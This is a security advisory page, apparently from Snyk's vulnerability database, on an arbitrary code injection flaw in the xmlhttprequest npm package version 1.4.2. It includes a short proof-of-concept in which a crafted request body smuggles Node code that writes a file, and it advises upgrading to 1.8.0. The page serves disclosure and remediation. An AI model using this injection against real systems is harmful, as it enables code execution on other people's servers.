org.webjars.npm:xmlhttprequest@1.4.2 vulnerabilities

  • latest version

    1.4.2

  • latest non vulnerable version

  • first published

    9 years ago

  • latest version published

    6 years ago

  • licenses detected

  • package registry

  • Direct Vulnerabilities

    Known vulnerabilities in the org.webjars.npm:xmlhttprequest package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Arbitrary Code Injection

    org.webjars.npm:xmlhttprequest is a wrapper for the built-in http client to emulate the browser XMLHttpRequest object.

    Affected versions of this package are vulnerable to Arbitrary Code Injection. Provided requests are sent synchronously (async=False on xhr.open), malicious user input flowing into xhr.send could result in arbitrary code being injected and run.

    POC

    const { XMLHttpRequest } = require("xmlhttprequest")
    
    const xhr = new XMLHttpRequest()
    xhr.open("POST", "http://localhost.invalid/", false /* use synchronize request */)
    xhr.send("\\');require(\"fs\").writeFileSync(\"/tmp/aaaaa.txt\", \"poc-20210306\");req.end();//")
    

    How to fix Arbitrary Code Injection?

    Upgrade org.webjars.npm:xmlhttprequest to version 1.8.0 or higher.

    [,1.8.0)